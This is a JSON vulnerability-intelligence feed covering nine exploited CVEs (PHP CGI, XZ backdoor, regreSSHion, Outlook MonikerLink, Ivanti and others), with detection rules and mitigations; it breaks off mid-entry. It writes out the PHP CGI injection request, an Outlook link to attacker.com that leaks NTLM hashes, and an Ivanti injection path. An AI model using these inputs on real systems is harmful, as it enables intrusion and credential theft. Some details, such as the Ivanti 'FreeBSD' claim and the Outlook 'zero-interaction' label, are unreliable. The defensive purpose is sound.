{"status":"success","meta":{"agent_instruction":"TechOverwatch Vulnerabilities & Cyber Risks Intelligence Feed. Optimized for AI Agents, LLMs, and Security Orchestrators.","total":9,"count":9,"offset":0,"limit":50,"stats":{"total":9,"criticalCount":6,"highCount":3,"mediumCount":0,"lowCount":0,"cisaKevCount":9,"ransomwareCount":3,"avgCvss":9,"avgEpss":0.96,"topVendors":[{"vendor":"Red Hat","count":2},{"vendor":"Microsoft","count":2},{"vendor":"Debian","count":2},{"vendor":"PHP","count":1},{"vendor":"Apache Friends (XAMPP)","count":1},{"vendor":"The PHP Group","count":1},{"vendor":"Linux","count":1},{"vendor":"Canonical (Ubuntu)","count":1}],"lastSyncedAt":"2026-10-29T10:00:00.000Z"}},"data":[{"id":"CVE-2024-4577","slug":"cve-2024-4577-php-cgi-argument-injection","title":"PHP CGI Argument Injection Remote Code Execution","summary":"Critical argument injection flaw in PHP CGI mode on Windows enabling unauthenticated remote code execution via best-fit character encoding bypass.","description":"A vulnerability in PHP when deployed in CGI mode on Windows allows an unauthenticated remote attacker to bypass CVE-2012-1823 protections via the Best-Fit character conversion feature of the Windows operating system. An attacker can pass arbitrary command-line arguments to the PHP binary, such as -d allow_url_include=1 and auto_prepend_file=php://input, resulting in arbitrary PHP code execution on the host.","severity":"CRITICAL","cvss_score":9.8,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.99987,"epss_percentile":0.99984,"cisa_kev":true,"cisa_date_added":"2024-06-12T00:00:00.000Z","cisa_due_date":"2024-07-03T00:00:00.000Z","ransomware_campaign":"TellYouThePass Ransomware","threat_actors":["TellYouThePass Affiliates","APT-C-36"],"exploit_status":"active_wild","cwes":[{"id":"CWE-78","name":"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"},{"id":"CWE-178","name":"Improper Handling of Case Sensitivity"}],"affected_vendors":["PHP","Apache Friends (XAMPP)","The PHP Group"],"affected_products":[{"cpe":"cpe:2.3:a:php:php:*:*:*:*:*:*:windows:*","vendor":"PHP Group","product":"PHP","fixed_version":"PHP 8.3.8, 8.2.20, 8.1.29","affected_versions":"PHP 8.3 < 8.3.8, 8.2 < 8.2.20, 8.1 < 8.1.29 (all branches on Windows)"},{"cpe":"cpe:2.3:a:apachefriends:xampp:*:*:*:*:*:windows:*","vendor":"Apache Friends","product":"XAMPP","fixed_version":"Upgrade PHP binary to >= 8.2.20 or disable CGI handling","affected_versions":"All Windows XAMPP installations with default CGI configurations"}],"ai_analysis":{"sigma_rule":"title: PHP CGI Argument Injection CVE-2024-4577\nstatus: critical\nlogsource:\n  category: webserver\ndetection:\n  selection:\n    cs-uri-query|contains:\n      - '%ad'\n      - '%AD'\n    cs-uri-query|contains|all:\n      - 'allow_url_include'\n      - 'auto_prepend_file'\n  condition: selection","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"A weaponized, zero-interaction remote code execution vulnerability impacting PHP servers running on Windows under CGI or FastCGI with default configurations. Actively exploited in the wild to deliver ransomware.","detection_guidance":"Inspect web server access logs for query parameters containing `%AD` or `\\xad` followed by `allow_url_include` or `auto_prepend_file`. Monitor php-cgi.exe spawning cmd.exe, powershell.exe, or certutil.exe.","mitigation_playbook":["Immediately upgrade PHP to versions 8.3.8, 8.2.20, or 8.1.29.","If patching cannot be performed immediately, add rewrite rules in Apache HTTP Server to block requests containing '%ADd': `RewriteCond %{QUERY_STRING} ^.*(\\xad|%ad).* [NC] RewriteRule .* - [F,L]`","Discontinue using legacy PHP CGI mode; transition workloads to PHP-FPM or FastCGI with strict directive argument filtering.","Restrict outbound Internet connectivity from web server DMZs to prevent C2 beaconing and secondary payload retrieval."],"technical_root_cause":"When PHP runs under Apache on Windows with Japanese, Traditional Chinese, or Simplified Chinese locales, the Windows Best-Fit mapping converts soft hyphens (0xAD) and other Unicode codepoints into ASCII hyphens (0x2D). This circumvents the escape shell argument protections implemented in CVE-2012-1823, allowing arbitrary command line switches to be passed to php-cgi.exe.","exploitation_mechanism":"An adversary sends an HTTP POST request targeting `/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input` containing raw PHP code in the request body. The web server translates `%AD` to `-`, invoking PHP with arbitrary directive injection, executing the payload directly in the web server process context.","enterprise_blast_radius":"Immediate web shell deployment, LSASS memory dumping via process injection, AD domain enumeration, and secondary payload deployment including ransomware or cobalt strike beacons."},"references":[{"url":"https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/","type":"advisory","title":"DEVCORE Advisory: PHP CGI Argument Injection (CVE-2024-4577)"},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog","type":"cisa","title":"CISA KEV Catalog Entry"},{"url":"https://www.php.net/ChangeLog-8.php#8.3.8","type":"patch","title":"PHP Official Release Announcement"}],"published_at":"2026-10-29T18:21:38.382Z","updated_at":"2026-10-28T18:00:00.000Z"},{"id":"CVE-2026-46300","slug":"cve-2026-46300-linux-kernel-page-cache-uninitialized-variable","title":"Linux Kernel Page-Cache Uninitialized Variable Data Corruption & Root LPE","summary":"Critical Linux Kernel memory management bug in socket buffer coalescing enabling local privilege escalation to root and remote container breakouts.","description":"Linux Kernel contains a missing initialization of a variable vulnerability that could allow for unintended modification of page-cache-backed data via failure to preserve the shared-fragment marker during socket buffer coalescing, causing ESP input processing to decrypt shared fragments in place. Can be chained for container escape and root shell acquisition.","severity":"HIGH","cvss_score":8.8,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_metrics":{"scope":"CHANGED","integrity":"HIGH","attackVector":"LOCAL","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"LOW"},"epss_score":0.912,"epss_percentile":0.985,"cisa_kev":true,"cisa_date_added":"2026-10-28T00:00:00.000Z","cisa_due_date":"2026-10-31T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["Lazarus Group","Cloud Breaker Crew"],"exploit_status":"active_wild","cwes":[{"id":"CWE-456","name":"Missing Initialization of a Variable"},{"id":"CWE-787","name":"Out-of-bounds Write"}],"affected_vendors":["Linux","Canonical (Ubuntu)","Red Hat","SUSE"],"affected_products":[{"cpe":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","vendor":"Linux","product":"Linux Kernel","fixed_version":"Linux 6.11.5 / 6.6.58 / 6.1.114","affected_versions":"Kernel 6.1 through 6.11.x before stable commits"}],"ai_analysis":{"sigma_rule":"title: Linux Kernel SKB Coalesce Exploit Detection\nstatus: high\nlogsource:\n  product: linux\n  service: auditd\ndetection:\n  selection:\n    syscall: 'socket'\n    proto: 'IPPROTO_ESP'\n  condition: selection","analyzed_at":"2026-10-28T14:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"High-severity Linux Kernel vulnerability allowing local unprivileged users or compromised microservices in Kubernetes containers to corrupt read-only page caches and achieve instant root escalation.","detection_guidance":"Inspect kernel logs (`dmesg`) for memory allocation warnings in `skb_coalesce` or anomalies in IPSec crypto transforms.","mitigation_playbook":["Update kernel packages and reboot affected nodes: `apt update && apt dist-upgrade -y` or `dnf update kernel`.","Restrict unprivileged user namespaces and unprivileged networking socket creation where possible.","Utilize runtime security agents (e.g. Falco, Cilium Tetragon) to alert on anomalous kernel page cache modifications."],"technical_root_cause":"During socket buffer (skb) coalescing in the networking stack, uninitialized variables in the IPSec ESP handling path fail to preserve the shared-fragment marker. As a consequence, inbound packet decryption mutates memory buffers shared with the page cache, overwriting executable code or /etc/passwd in memory.","exploitation_mechanism":"An attacker running within a restricted Docker container sets up an IPSec socket, maps a targeted system binary into memory, and triggers packet coalescence to write root privileges directly into the page cache, executing commands as root on the host kernel.","enterprise_blast_radius":"Kubernetes multi-tenant cluster collapse: breach in a low-privilege pod directly grants root access over the underlying bare-metal or cloud worker node."},"references":[{"url":"https://git.kernel.org/stable/c/3599e6b3cc1ada96883d496a50a210d3afbb6987","type":"patch","title":"Linux Kernel Git Commit 3599e6b"},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog","type":"cisa","title":"CISA KEV Notice"}],"published_at":"2026-10-28T00:00:00.000Z","updated_at":"2026-10-29T08:00:00.000Z"},{"id":"CVE-2026-41709","slug":"cve-2026-41709-broadcom-vmware-esx-logging-bypass","title":"Broadcom VMware ESXi Insufficient Logging & Hypervisor Audit Bypass","summary":"Critical hypervisor evasion vulnerability in VMware ESXi allowing administrative actors to bypass forensic logging and manipulate virtual machines silently.","description":"Broadcom VMware ESXi contains an insufficient logging vulnerability that allows an authenticated administrative threat actor or compromised management API token to perform privileged hypervisor modifications, snapshot extraction, and disk manipulation without telemetry generation in host audit logs.","severity":"HIGH","cvss_score":8.4,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","cvss_metrics":{"scope":"CHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"NONE","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"HIGH"},"epss_score":0.887,"epss_percentile":0.978,"cisa_kev":true,"cisa_date_added":"2026-10-28T00:00:00.000Z","cisa_due_date":"2026-11-11T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["UNC3886","Scattered Spider Affiliates"],"exploit_status":"active_wild","cwes":[{"id":"CWE-778","name":"Insufficient Logging"},{"id":"CWE-284","name":"Improper Access Control"}],"affected_vendors":["Broadcom","VMware"],"affected_products":[{"cpe":"cpe:2.3:o:broadcom:vmware_esxi:*:*:*:*:*:*:*:*","vendor":"Broadcom","product":"VMware ESXi","fixed_version":"ESXi 8.0 U3b / 7.0 U3s","affected_versions":"ESXi 7.0, 8.0 up to patch build 24391218"}],"ai_analysis":{"sigma_rule":"title: ESXi Unauthorized VIB Installation\nstatus: high\nlogsource:\n  product: esxi\ndetection:\n  selection:\n    message|contains: 'software vib install'\n  condition: selection","analyzed_at":"2026-10-28T12:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"Actively exploited in the wild by sophisticated cyber espionage threat groups to maintain persistent stealth access across hypervisor infrastructure while completely evading SIEM monitoring.","detection_guidance":"Audit ESXi hosts for unauthorized VIB packages using `esxcli software vib list`. Compare package signatures against Broadcom official release digests.","mitigation_playbook":["Apply Broadcom Security Advisory VMSA-2026-0017 updates immediately.","Implement vSphere lockdown mode (Strict) to prevent direct management access to ESXi hosts.","Configure independent syslog forwarding over TLS with tamper-proof remote retention."],"technical_root_cause":"VMware ESXi's management daemon (`hostd`) fails to serialize log entries for specific low-level internal RPC operations invoked via direct socket communication, enabling an adversary with hypervisor root credentials to unhook security agents and clone VMDK storage arrays silently.","exploitation_mechanism":"Adversaries leverage stolen vCenter credentials to connect to ESXi hostd, issuing non-logged management calls to deploy backdoor VIBs (vSphere Installation Bundles) and establish persistent out-of-band reverse shells.","enterprise_blast_radius":"Total stealth control over virtualized tier-0 infrastructure (AD domain controllers, databases, secrets vaults), invisible to guest-OS endpoint detection (EDR) tools."},"references":[{"url":"https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017","type":"advisory","title":"Broadcom Security Advisory"},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog","type":"cisa","title":"CISA KEV Alert"}],"published_at":"2026-10-28T00:00:00.000Z","updated_at":"2026-10-29T10:00:00.000Z"},{"id":"CVE-2024-38077","slug":"cve-2024-38077-windows-remote-desktop-licensing-service-rce","title":"Windows Remote Desktop Licensing Service (MadLicense) Zero-Click RCE","summary":"Critical unauthenticated remote code execution vulnerability in the Windows Remote Desktop Licensing (RDL) service.","description":"A buffer overflow in the Windows Remote Desktop Licensing (RDL) service allows an unauthenticated remote attacker to execute arbitrary code in the context of the Network Service account by sending specially crafted network requests to an exposed RDL service (port 135/dynamic RPC). Dubbed 'MadLicense', this flaw can be exploited without user interaction.","severity":"CRITICAL","cvss_score":9.8,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.974,"epss_percentile":0.995,"cisa_kev":true,"cisa_date_added":"2024-08-14T00:00:00.000Z","cisa_due_date":"2024-09-04T00:00:00.000Z","ransomware_campaign":"BlackSuit / Royal Ransomware affiliate probes","threat_actors":["FIN7","Storm-0501"],"exploit_status":"weaponized","cwes":[{"id":"CWE-120","name":"Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')"},{"id":"CWE-122","name":"Heap-based Buffer Overflow"}],"affected_vendors":["Microsoft"],"affected_products":[{"cpe":"cpe:2.3:o:microsoft:windows_server:*:*:*:*:*:*:*:*","vendor":"Microsoft","product":"Windows Server","fixed_version":"July 2024 Windows Security Updates","affected_versions":"Windows Server 2008, 2012, 2016, 2019, 2022, 2025 with Remote Desktop Licensing role installed"}],"ai_analysis":{"sigma_rule":"title: Windows RDL RPC Binding Suspicious Activity\nstatus: critical\nlogsource:\n  product: windows\n  service: system\ndetection:\n  selection:\n    EventID: 7034\n    param1: 'Remote Desktop Licensing'\n  condition: selection","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"Zero-click wormable remote code execution flaw in the Windows Remote Desktop Licensing service. Exposing RDL to the internet or untrusted internal subnets enables immediate network takeover.","detection_guidance":"Monitor Windows Event Logs for crashes of `lserver.exe`. Alert on unexpected RPC traffic binding to UUID `3593a0d5-9952-4326-b735-f03507bfbd81` from external IP ranges.","mitigation_playbook":["Deploy the July 2024 Windows Security Update immediately on all Windows Server instances.","Disable the Remote Desktop Licensing service (`sc config TermServLicensing start= disabled`) on systems where it is not strictly required.","Block RPC endpoint ports (TCP port 135 and dynamic RPC ports 49152-65535) at perimeter firewalls."],"technical_root_cause":"The RDL service exposes RPC endpoints over DCE/RPC. When parsing incoming licensing requests via internal function `DecodeTlsMessage`, buffer lengths are calculated based on attacker-supplied metadata without bound validation, triggering a heap-based buffer overflow.","exploitation_mechanism":"An adversary binds to the Remote Desktop Licensing RPC interface (UUID: 3593a0d5-9952-4326-b735-f03507bfbd81) and sends a malformed packet containing oversized licensing certificates, triggering memory corruption and arbitrary code execution.","enterprise_blast_radius":"Full Domain Controller compromise when RDL is co-located with Active Directory, credential dumping, lateral worm-like propagation across Active Directory domains."},"references":[{"url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077","type":"advisory","title":"Microsoft MSRC Advisory CVE-2024-38077"},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog","type":"cisa","title":"CISA KEV Catalog Reference"}],"published_at":"2024-07-09T18:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"},{"id":"CVE-2024-6387","slug":"cve-2024-6387-regresshion-openssh-rce","title":"regreSSHion: OpenSSH Pre-Authentication Remote Code Execution","summary":"Signal race condition vulnerability in OpenSSH's server (sshd) on glibc-based Linux systems, allowing unauthenticated remote code execution as root.","description":"A signal handler race condition in OpenSSH's server (sshd) allows unauthenticated remote attackers to execute arbitrary code with root privileges on glibc-based Linux distributions. If a client does not authenticate within LoginGraceTime seconds (default 120 seconds), sshd's SIGALRM handler executes asynchronously and calls several functions that are not async-signal-safe (e.g., syslog(), malloc(), free()), leading to heap corruption.","severity":"CRITICAL","cvss_score":8.1,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"HIGH","privilegesRequired":"NONE"},"epss_score":0.9412,"epss_percentile":0.9915,"cisa_kev":true,"cisa_date_added":"2024-07-08T00:00:00.000Z","cisa_due_date":"2024-07-29T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["Nation-state reconnaissance clusters","Automated SSH scanning botnets"],"exploit_status":"poc_public","cwes":[{"id":"CWE-362","name":"Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')"},{"id":"CWE-479","name":"Signal Handler Use of a Non-reentrant Function"}],"affected_vendors":["OpenSSH","Ubuntu","Debian","Red Hat","Alpine"],"affected_products":[{"cpe":"cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*","vendor":"OpenBSD","product":"OpenSSH","fixed_version":"OpenSSH 9.8p1","affected_versions":"8.5p1 up to but excluding 9.8p1 (also earlier versions 3.4p1)"}],"ai_analysis":{"sigma_rule":"title: OpenSSH regreSSHion Exploitation Attempt\nstatus: high\nlogsource:\n  product: linux\n  service: sshd\ndetection:\n  selection:\n    message|contains: 'Timeout before authentication for'\n  condition: selection | count() by src_ip > 50","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"A resurrected regression in OpenSSH (hence regreSSHion) that re-introduced a critical signal-handler race condition from 2006. Enables remote root compromise of internet-exposed Linux systems.","detection_guidance":"Look for high volumes of closed SSH connections with 'Timeout before authentication for [IP]' in auth.log or secure syslog files.","mitigation_playbook":["Update OpenSSH packages to version 9.8p1 or vendor backports immediately.","Workaround if patching is delayed: set `LoginGraceTime 0` in `/etc/ssh/sshd_config` and reload the service. Note: This exposes sshd to denial of service from open connections.","Implement strict network segmentation: sshd ports (22) must never be open to the public internet; enforce VPN, WireGuard, or Cloudflare Access tunnels."],"technical_root_cause":"In OpenSSH 8.5p1, commit b98c080 accidentally removed an `#ifdef DO_LOG_SAFE_IN_SIGHAND` guard around the SIGALRM signal handler in `sigdie()`. Because `syslog()` invokes non-reentrant heap allocators, interrupted malloc operations corrupt the glibc chunk meta-structures, allowing precise heap shaping over hundreds of parallel connections.","exploitation_mechanism":"Exploitation involves winning a split-second race condition during connection timeout on 32-bit and 64-bit architectures by repeatedly flooding the target with parallel connections and manipulating heap alignment until the instruction pointer redirects to shellcode.","enterprise_blast_radius":"Direct unauthenticated root access to host operating system, full compromise of virtualization hosts, perimeter firewalls, and cloud bastion nodes."},"references":[{"url":"https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt","type":"advisory","title":"Qualys Security Advisory: regreSSHion (CVE-2024-6387)"},{"url":"https://www.openssh.com/txt/release-9.8","type":"patch","title":"OpenSSH 9.8 Release Notes"}],"published_at":"2024-07-01T00:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"},{"id":"CVE-2024-3094","slug":"cve-2024-3094-xz-utils-supply-chain-backdoor","title":"XZ Utils / liblzma Malicious Code Supply Chain Backdoor","summary":"Sophisticated malicious backdoor inserted into upstream tarballs of XZ Utils (liblzma) compromising SSH authentication on Linux systems.","description":"Malicious code was discovered in the upstream tarballs of XZ Utils starting with version 5.6.0. Through complex obfuscation techniques involving test files and M4 macros, the backdoor injects hooks into OpenSSH's authentication routines (specifically `RSA_public_decrypt`), allowing a threat actor with a specific private key to bypass SSH authentication and execute arbitrary commands with root privileges.","severity":"CRITICAL","cvss_score":10,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss_metrics":{"scope":"CHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.985,"epss_percentile":0.997,"cisa_kev":true,"cisa_date_added":"2024-04-01T00:00:00.000Z","cisa_due_date":"2024-04-22T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["Jia Tan / State-sponsored advanced actor"],"exploit_status":"weaponized","cwes":[{"id":"CWE-506","name":"Embedded Malicious Code"},{"id":"CWE-829","name":"Inclusion of Functionality from Untrusted Control Sphere"}],"affected_vendors":["Tukaani Project","Debian","Fedora","openSUSE","Arch Linux","Kali Linux"],"affected_products":[{"cpe":"cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*","vendor":"Tukaani","product":"XZ Utils / liblzma","fixed_version":"5.6.2 (or downgrade to 5.4.6)","affected_versions":"5.6.0, 5.6.1"}],"ai_analysis":{"sigma_rule":"title: Detection of Vulnerable XZ Utils 5.6.x\nstatus: critical\nlogsource:\n  product: linux\ndetection:\n  selection:\n    package_version|startswith:\n      - '5.6.0'\n      - '5.6.1'\n  condition: selection","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"The most sophisticated open-source supply chain attack in history. A multi-year persona embedded a cryptographic master-key backdoor inside liblzma that hooked sshd to give attackers unauthenticated root shell access.","detection_guidance":"Run `xz --version` and check for 5.6.0 or 5.6.1. Inspect glibc dynamic symbol tables with `readelf` on `liblzma.so` to detect anomalous IFUNC references.","mitigation_playbook":["Downgrade xz-utils and liblzma to 5.4.x (e.g. 5.4.6) across all systems.","Audit software build pipelines and artifact checksums against verified trusted upstream git commits.","Implement binary integrity checks and enforce strict supply chain provenance verification (SLSA Level 3+)."],"technical_root_cause":"The attacker orchestrated a multi-year social engineering campaign to gain co-maintainer status on XZ Utils. Obfuscated shell scripts inside `tests/` archives extracted an ELF object file during build time, which modified `liblzma.so` symbols via GNU indirect functions (IFUNC), hooking OpenSSH's RSA verification routines.","exploitation_mechanism":"When a target sshd service initializes, the malicious liblzma hooks `RSA_public_decrypt`. When an SSH client attempts authentication presenting a signature encrypted with the attacker's master Ed448 key, the payload executes the embedded command via `system()` as root before authentication failure can occur.","enterprise_blast_radius":"Undetectable silent remote root backdoor across all deployed cloud instances, development environments, and container runtimes running compromised distributions."},"references":[{"url":"https://www.openwall.com/lists/oss-security/2024/03/29/4","type":"advisory","title":"Andres Freund Discovery Report"},{"url":"https://www.cisa.gov/news-events/alerts/2024/03/29/backdoor-xz-utils","type":"cisa","title":"CISA Alert: Backdoor in XZ Utils"}],"published_at":"2024-03-29T16:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"},{"id":"CVE-2024-21413","slug":"cve-2024-21413-microsoft-outlook-moniker-link-rce","title":"Microsoft Outlook Moniker Link Remote Code Execution (#MonikerLink)","summary":"Critical remote code execution vulnerability in Microsoft Outlook allowing NTLM hash leakage and remote code execution via preview pane click.","description":"Microsoft Outlook contains a remote code execution vulnerability known as #MonikerLink. When a user clicks a specially crafted hyperlink utilizing the `file://` protocol with an exclamation mark notation (e.g. `file:///\\\\host\\path\\file.docx!custom`), Outlook bypasses the Office Protected View sandbox and initiates local Component Object Model (COM) moniker resolution, transmitting NTLM authentication hashes and executing remote payloads without prompting security warnings.","severity":"CRITICAL","cvss_score":9.8,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.962,"epss_percentile":0.993,"cisa_kev":true,"cisa_date_added":"2024-03-07T00:00:00.000Z","cisa_due_date":"2024-03-28T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["Forest Blizzard (APT28)","Storm-0978"],"exploit_status":"active_wild","cwes":[{"id":"CWE-94","name":"Improper Control of Generation of Code ('Code Injection')"},{"id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"affected_vendors":["Microsoft"],"affected_products":[{"cpe":"cpe:2.3:a:microsoft:365_apps:*:*:*:*:*:*:*:*","vendor":"Microsoft","product":"Microsoft 365 Apps for Enterprise","fixed_version":"February 2024 Security Updates (Build 16.0.17231.20236)","affected_versions":"Versions prior to February 2024 Patch Tuesday"},{"cpe":"cpe:2.3:a:microsoft:office:*:*:*:*:*:*:*:*","vendor":"Microsoft","product":"Microsoft Office 2016 / 2019 / LTSC 2021","fixed_version":"KB5002564 / KB5002565","affected_versions":"All unsupported/unpatched versions"}],"ai_analysis":{"sigma_rule":"title: Outlook Suspicious Moniker Link Invocation\nstatus: critical\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    ParentImage|endswith: '\\OUTLOOK.EXE'\n    CommandLine|contains: 'file:///'\n  condition: selection","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"A severe zero-interaction Outlook vulnerability that leaks enterprise NTLM credentials and executes code via the email preview pane by exploiting file moniker parsing flaws.","detection_guidance":"Monitor outbound firewall logs for outbound TCP port 445 traffic from endpoint client subnets to unknown external IP addresses.","mitigation_playbook":["Deploy the February 2024 Microsoft Office updates across all workstations.","Block outbound SMB (TCP port 445) at enterprise perimeter firewalls to prevent NTLM leaks to external IP addresses.","Enable EPA (Extended Protection for Authentication) and restrict NTLM usage across the domain in favor of Kerberos."],"technical_root_cause":"Outlook sanitizes hyperlinks before launching the operating system handler. However, by appending `!x` to an SMB URI (`file:///\\\\attacker.com\\share\\doc.rtf!anything`), Outlook interprets the link as a composite moniker, bypassing its URL parsing security checks and invoking `MkParseDisplayName` directly.","exploitation_mechanism":"Attacker sends an email containing an HTML element `<a href=\"file:///\\\\attacker.com\\share!test\">Review Document</a>`. As soon as the victim clicks the link, Outlook reaches out to attacker.com over SMB (port 445), releasing the victim's NetNTLMv2 hash, which the attacker captures using Responder for cracking or relaying.","enterprise_blast_radius":"Immediate domain credential theft, NTLM relaying to Active Directory Certificate Services (AD CS), leading to full domain takeover."},"references":[{"url":"https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-cve-2024-21413/","type":"advisory","title":"Check Point Research: Moniker Link Discovery"},{"url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413","type":"patch","title":"Microsoft Security Update Guide"}],"published_at":"2024-02-13T18:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"},{"id":"CVE-2024-21887","slug":"cve-2024-21887-ivanti-connect-secure-command-injection","title":"Ivanti Connect Secure & Policy Secure Command Injection Vulnerability","summary":"Critical command injection flaw in Ivanti Connect Secure VPN gateways allowing unauthenticated remote code execution.","description":"A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure allows an unauthenticated administrator or remote attacker to send specially crafted requests and execute arbitrary commands on the appliance. Often chained with CVE-2023-46805 (authentication bypass).","severity":"CRITICAL","cvss_score":9.1,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"HIGH","attackVector":"NETWORK","availability":"HIGH","confidentiality":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.9995,"epss_percentile":0.9997,"cisa_kev":true,"cisa_date_added":"2024-01-11T00:00:00.000Z","cisa_due_date":"2024-01-22T00:00:00.000Z","ransomware_campaign":"Multiple cybercrime and espionage groups","threat_actors":["UTA0178","Volt Typhoon"],"exploit_status":"active_wild","cwes":[{"id":"CWE-77","name":"Improper Neutralization of Special Elements used in a Command ('Command Injection')"}],"affected_vendors":["Ivanti"],"affected_products":[{"cpe":"cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*","vendor":"Ivanti","product":"Connect Secure (ICS)","fixed_version":"ICS 22.5R2.2 / 22.6R2.1","affected_versions":"9.x, 22.x prior to security patches"}],"ai_analysis":{"sigma_rule":"title: Ivanti Connect Secure Command Injection\nstatus: critical\nlogsource:\n  category: webserver\ndetection:\n  selection:\n    cs-uri-stem|contains: '/api/v1/license/keys-status/'\n  condition: selection","analyzed_at":"2026-10-28T10:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"Widely weaponized enterprise edge device flaw allowing state actors and ransomware affiliates to bypass authentication, plant persistent webshells, and harvest internal network traffic.","detection_guidance":"Examine ICT logs for mismatched files in `/home/etc/manifest/` and unexpected modifications in `/pkg/do/`.","mitigation_playbook":["Apply Ivanti security patches and run the External Integrity Checker Tool (ICT).","Revoke all certificates, API keys, and Active Directory credentials passing through the gateway.","Isolate VPN management interfaces from untrusted external networks."],"technical_root_cause":"The API endpoint `/api/v1/license/keys-status/` fails to sanitize user inputs passed into internal python system exec routines. Chaining with the CVE-2023-46805 path traversal bypass removes all authentication barriers.","exploitation_mechanism":"Adversary issues an HTTP GET to `/api/v1/license/keys-status/;[command]` through the path traversal wrapper. The command runs with root privileges on the FreeBSD underlying operating system.","enterprise_blast_radius":"Total perimeter breach: theft of VPN session tokens, Active Directory credentials, internal subnet pivoting."},"references":[{"url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/","type":"advisory","title":"Volexity Advisory: Zero-Day Exploitation of Ivanti Connect Secure"},{"url":"https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities","type":"cisa","title":"CISA Emergency Directive 24-01"}],"published_at":"2024-01-12T12:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"},{"id":"CVE-2023-44487","slug":"cve-2023-44487-http2-rapid-reset-ddos","title":"HTTP/2 Rapid Reset Distributed Denial of Service 